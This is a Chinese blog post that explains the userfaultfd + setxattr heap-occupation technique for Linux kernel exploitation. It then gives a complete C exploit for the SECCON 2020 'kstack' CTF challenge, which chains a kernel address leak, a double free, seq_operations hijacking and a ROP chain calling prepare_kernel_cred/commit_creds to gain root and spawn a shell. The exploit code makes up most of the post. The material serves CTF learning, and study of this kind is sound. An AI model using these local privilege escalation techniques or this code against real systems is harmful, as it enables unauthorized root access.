利用userfaultfd + setxattr堆占位
利用userfaultfd + setxattr堆占位
很久之前便看到过这个技术的名字,但是由于自己的摆烂,一直没有管。今天终于找到时间好好看一下这个技术的利用方式。利用userfaultfd + setxattr
算是内核里一种比较通用的利用技术,在实际场景中通常和堆喷射技术结合起来。但是在某些CTF
的题目中,我们已经有了UAF
,故并不需要喷射大量的结构体,而是需要在特定的时间对某些object
进行写入与占用。笔看到其他师傅的文章中把它称作为堆占位
。在之前的博客中我就写过关于userfaultfd
利用方式的介绍,故本文主要关注对setxattr
的利用。
setxattr系统调用
setxattr
是一个很特殊的系统调用,它在内核空间可以实现几乎任意大小的object
分配。
他的调用链如下:
SYS_setxattr()
path_setxattr()
setxattr()
抛开这个系统调用的正常功能,我们看一下他对我们有用的关键源码:
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
//,..
kvfree(kvalue);
return error;
}
我们可以看到首先是kvmalloc(size, GFP_KERNEL)
分配出内存空间,接着通过copy_from_user(kvalue, value, size)
向空间中拷贝数据,最后调用kvfree(kvalue);
将其分配的空间释放。因为这里的value和size
都是我们可控的,所以我们几乎就可以实现分配任意大小的object
并向其中写入数据。但是在最后会将我们分配的object
释放掉,那也就意味着我们前功尽弃了。所以我们得想办法不让他释放掉。那我们可以考虑搭配userfaultfd
来使得拷贝过程被卡住,也就不会进行下一步的释放。我们可以想到一下场景:
我们通过mmap
分配两个连续内存页,在第二个内存页上使用userfaultfd
进行监视,并在第一个内存页尾写入我们想要的数据,那么此时我们调用setxattr
,当copy_from_user
拷贝到第二个内存页时就会卡住,这个object
也自然不会被释放掉,从而达成我们的目的。
从SECCON 2020 kstack
来学习userfaultfd + setxattr堆占位的手法
exp:对着arttnba3师傅的exp
改了改
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#define PAGE_SIZE 0x1000
int fd;
size_t seq_fd;
size_t seq_fds[0x100];
size_t kernel_offset;
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void push(char* data)
{
if(ioctl(fd, 0x57AC0001, data) < 0)
ErrExit("push error");
}
void pop(char* data)
{
if(ioctl(fd, 0x57AC0002, data) < 0)
ErrExit("pop error");
}
void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}
void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error");
ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
}
void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] leak handler created");
pop(&kernel_offset);
kernel_offset-= 0xffffffff81c37bc0;
printf("[+] kernel offset: 0x%lx\n", kernel_offset);
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
}
void *userfault_double_free_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
puts("[+] double free handler created");
pop(page);
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] double free handler done");
}
size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;
void *userfault_hijack_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
puts("[+] hijack handler created");
puts("[+] tigger..");
for(int i=0; i<100; i++)
close(seq_fds[i]);
pop_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred += kernel_offset;
commit_creds += kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
get_shell();
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] hijack handler done");
}
int main()
{
size_t size[0x10];
char* leak_buf;
char* double_free_buf;
char* hijack_buf;
int shm_id;
char* shm_addr;
fd = open("/proc/stack",O_RDONLY);
if(fd < 0)
ErrExit("[-] open kstack error");
for(int i=0; i<100; i++)
if ((seq_fds[i] = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
leak_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(leak_buf, userfault_leak_handler);
shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
ErrExit("shmget error");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
ErrExit("shmat!");
if(shmdt(shm_addr) < 0)
ErrExit("shmdt error");
push(leak_buf);
double_free_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(double_free_buf, userfault_double_free_handler);
push("fxc");
pop(double_free_buf);
hijack_buf = (char*)mmap(NULL, 2*PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(hijack_buf+PAGE_SIZE, userfault_hijack_handler);
*(size_t*)(hijack_buf + PAGE_SIZE - 8) = 0xffffffff814d51c0 + kernel_offset;
if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0)
ErrExit("open stat error");
setxattr("/exp", "fxc", hijack_buf + PAGE_SIZE - 8, 32, 0);
}
利用userfaultfd + setxattr堆占位的更多相关文章
- PHP利用二叉堆实现TopK-算法的方法详解
前言 在以往工作或者面试的时候常会碰到一个问题,如何实现海量TopN,就是在一个非常大的结果集里面快速找到最大的前10或前100个数,同时要保证 内存和速度的效率,我们可能第一个想法就是利用排序,然后 ...
- 利用js实现placeholder占位符,甩开ie不兼容
正常的写法 <input type="text" placeholder="占位符"> 这种写法ie低版本的支持不友好,为了满足某些测试或者产品的变 ...
- 【数据结构与算法Python版学习笔记】树——利用二叉堆实现优先级队列
概念 队列有一个重要的变体,叫作优先级队列. 和队列一样,优先级队列从头部移除元素,不过元素的逻辑顺序是由优先级决定的. 优先级最高的元素在最前,优先级最低的元素在最后. 实现优先级队列的经典方法是使 ...
- 利用msg_msg实现任意地址读写
利用msg_msg实现任意地址读写 msgsnd和msgrcv的源码分析 内核通过msgsnd和msgrcv来进行IPC通信.内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着 ...
- Linux堆内存管理深入分析(上)
Linux堆内存管理深入分析(上半部) 作者:走位@阿里聚安全 0 前言 近年来,漏洞挖掘越来越火,各种漏洞挖掘.利用的分析文章层出不穷.从大方向来看,主要有基于栈溢出的漏洞利用和基于堆溢出的漏洞 ...
- Java实现堆排序(大根堆)
堆排序是一种树形选择排序方法,它的特点是:在排序的过程中,将array[0,...,n-1]看成是一颗完全二叉树的顺序存储结构,利用完全二叉树中双亲节点和孩子结点之间的内在关系,在当前无序区中选择关键 ...
- 堆的基础题目学习(EPI)
堆的应用范围也比较广泛,经常游走在各种面试题目之前,不论算法设计的题目还是海量数据处理的题目,经常能看到这种数据结构的身影.堆其实就是一个完全二叉树的结构,经常利用数组来实现.包含最大堆和最小堆两种. ...
- 使用Keil的MicroLIB时自动设置堆大小——玩嵌入式以来最高难度
Keil编译项目,如果使用微库MicroLIB,就可以使用malloc.微库内部位置一个堆管理模块.芯片的RAM大小是固定了的,前面分为全局变量,后面分给堆和栈,这是一般开发方式.但是我们在开发项目的 ...
- Linux堆内存管理深入分析
(上半部) 作者:走位@阿里聚安全 前言 近年来,漏洞挖掘越来越火,各种漏洞挖掘.利用的分析文章层出不穷.从大方向来看,主要有基于栈溢出的漏洞利用和基于堆溢出的漏洞利用两种.国内关于栈溢出的资料相对较 ...
随机推荐
- awk内置函数、外部变量
外部变量 ①获取外部变量 格式: awk '{action}' 变量名=变量值 ,这样传入变量可以在action中获得值. 示例: test='awk test'--day-5 外部变量 ①获取外部变 ...
- 【.NET基础】Linq常用语法代码演示
前言:前言不重要,linq入门常用的语法,linq语法可以用来写操作集合.数据库表集合等等几乎所有集合类型的操作.下面就写几个案例(以List集合来做的),看代码和运行结果即可. 本文演示环境:VS2 ...
- Java学习_常见异常
JAVA常见异常 Java.io.NullPointerException null 空的,不存在的 NullPointer 空指针 空指针异常,该异常出现在我们操作某个对象的属性或方法时,如果该对象 ...
- WPS衍生新软件,填补一大缺憾,让office汗颜,Excel用户很开心
首先,向大家报告一个好消息 WPS今天宣布品牌升级,有了更明确的品牌定位:专注创新的国民办公软件.WPS已有34年的历史了,自1988年诞生之日起,它在求伯君和雷军的带领下,一路披荆斩棘,虽有坎坷,但 ...
- 再见Docker!Containerd安装与使用
Containerd 的技术方向和目标 简洁的基于 gRPC 的 API 和 client library 完整的 OCI 支持(runtime 和 image spec) 同时具备稳定性和高性能的定 ...
- day02-2
JAVA入门 1.C&&C++ 1972年C诞生 贴近硬件,运行极快,效率极高 操作系统,编译器,数据库,网络系统等 指针和内存管理 1982年C++诞生 面向对象 兼容C 图形领域. ...
- MySQL客户端工具的使用与MySQL SQL语句
MySQL客户端工具的使用 1.MySQL程序的组成 客户端 mysql:CLI交互式客户端程序 mycli:CLI交互式客户端程序;使用sql语句时会有提示信息 mysql_secure_insta ...
- SQLServer的两个日期相减(间隔)datediff函数
select datediff(year, 开始日期,结束日期); --两日期间隔年 select datediff(quarter, 开始日期,结束日期); --两日期间隔季 select da ...
- 常见SQL及备注
- (原创)[C#] GDI+ 之鼠标交互:原理、示例、一步步深入、性能优化
一.前言 "GDI+"与"鼠标交互",乍一听好像不可能,也无从下手,但是实现原理比想象中要简单很多. 基于"GDI+"的"交互&q ...